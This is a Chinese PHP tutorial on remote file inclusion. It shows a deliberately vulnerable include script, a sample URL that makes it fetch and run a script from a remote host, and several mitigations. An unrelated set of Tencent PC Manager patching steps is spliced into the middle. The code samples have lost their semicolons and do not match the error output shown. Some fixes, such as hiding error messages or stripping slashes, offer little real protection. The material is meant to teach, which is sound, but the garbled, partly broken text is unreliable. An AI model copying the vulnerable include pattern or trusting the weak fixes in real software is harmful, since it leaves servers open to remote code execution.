PHP 网络开发详解之远程文件包含漏洞

PHP 网络开发详解之远程文件包含漏洞,第1张

以下代码(Code)实现了根据浏览器地址栏参数文件名称包含不同文件的功能。

复制代码

代码如下:

<?php

$file_name

=

$_GET["filename"]

//获得当前文件名

include("$file_name

")

//包含文件

//一些其他 *** 作

?>

这时,通过在地址栏上指定不同的文件名就可以实现包含不同文件并执行的功能。例如,通过在浏览器上访问http://localhost/test.php?filename=myinc.php就可以在代码(Code)中包含并执行myinc.php文件。

由于上面的代码(Code)没有进行任何错误处理,在浏览器上不加参数运行,所以将得到以下运行结果。

Warning:

include(.php)

[function.include]:

failed

to

open

stream:

No

such

file

or

directory

in

C:\Program

Files\xampp\htdocs\Bugs\test6.php

on

line

3

Warning:

include()

[function.include]:

Failed

opening

'.php'

for

inclusion

(include_path='.C:\Program

Files\xampp\php\pear\')

in

C:\Program

Files\xampp\htdocs\Bugs\test6.php

on

line

3

访问者通过读取这段错误信息,可以得知当前的 *** 作是一个文件包含 *** 作。这时,可以在自己的服务器上放置一个相应的脚本代码。需要注意的是PHP在获取远程文件时获得的是远程服务器的最终输出结果,而不是文件本身。该脚本代码位于192.168.0.1服务器上,文件名为hello.txt,脚本代码(Code)如下所示。

复制代码

代码如下:

<?php

echo

"hello

world!"

?>

这时,通过在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt就可以运行hello.txt中的脚本了。

为了解决这个问题,一种方式是完善代码的错误信息,使访问者无法知道当前脚本正在包含参数中指定的文件。修改后的代码(Code)如下所示。

复制代码

代码如下:

<?php

$file_name

=

$_GET["filename"]

//获得当前文件名

if(!@include("$file_name.php"))

//包含文件

{

die("页面在浏览过程中出现错误")

}

//一些其他 *** 作

?>

修改后,如果在被包含的文件无法找到时将出现“页面在浏览过程中出现错误”的错误信息,访问者将无法获得当前页面的具体 *** 作信息。

第二种方式可以更加有效地防止远程文件包含攻击。方式是替换地址栏参数中的斜线“/”。这样,在地址栏参数中输入远程文件地址时,代码将无法正确地获得参数。修改后的代码(Code)如下所示。

复制代码

代码如下:

<?php

$file_name

=

str_replace('/',

'',

$_GET["filename"])

//获得当前文件名

if(!@include("$file_name.php"))

//包含文件

{

die("页面在浏览过程中出现错误")

}

//一些其他 *** 作

?>

这样,在浏览器中访问http://localhost/test.php?filename=http://192.168.0.1/hello.txt

时,实际上PHP代码(Code)获得的包含文件名称是http:192.168.0.1bugstest6_test。页面将不会包含远程文件,并显示相应的错误信息。

点击系统上的腾讯电脑管家应用程序界面,在工具箱中,点击修复漏洞按钮

在漏洞修复界面中,展出可以安装的修复程序列表,如果简单的话,可以直接点击右侧的一键修复按钮

点击漏洞修复界面中的,已安装,就会返回已经安装的漏洞修复程序列表

点击右上方的设置按钮,进行漏洞修复设置

在设置界面中,可以设置程序的安装和修复方式,需要提醒自己,然后进行修复 *** 作

设置白名单:代码在进行文件包含时,如果文件名可以确定,可以设置白名单对传入的参数进行比较。如果需要使用文件包含,则通过使用白名单的方法对要包含的文件进行限制,这样可以做到既使用了文件包含,又可以防止文件包含漏洞。

过滤危险字符:严格限制包含中的参数,取消那些不可控的参数。由于 Include Require 可以对 PHP Wrapper 形式的地址进行包含执行(需要配置 php.ini),在 Linux 环境中可以通过”../../” 的形式进行目录绕过,所以需要判断文件名称是否为合法的 PHP 文件。

设置文件目录:PHP 配置文件中有 open_basedir 选项可以设置用户需要执行的文件目录,如果设置目录的话,PHP 仅仅在该目录内搜索文件。

关闭危险配置:PHP 配置中的 allow_url_include 选项如果打开,PHP 会通过 Include Require 进行远程文件包含,由于远程文件的不可信任性及不确定性,在开发中禁止打开此选项,PHP 默认是关闭的。


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/tougao/11531028.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-16
下一篇 2023-05-16

发表评论

登录后才能评论

评论列表(0条)

保存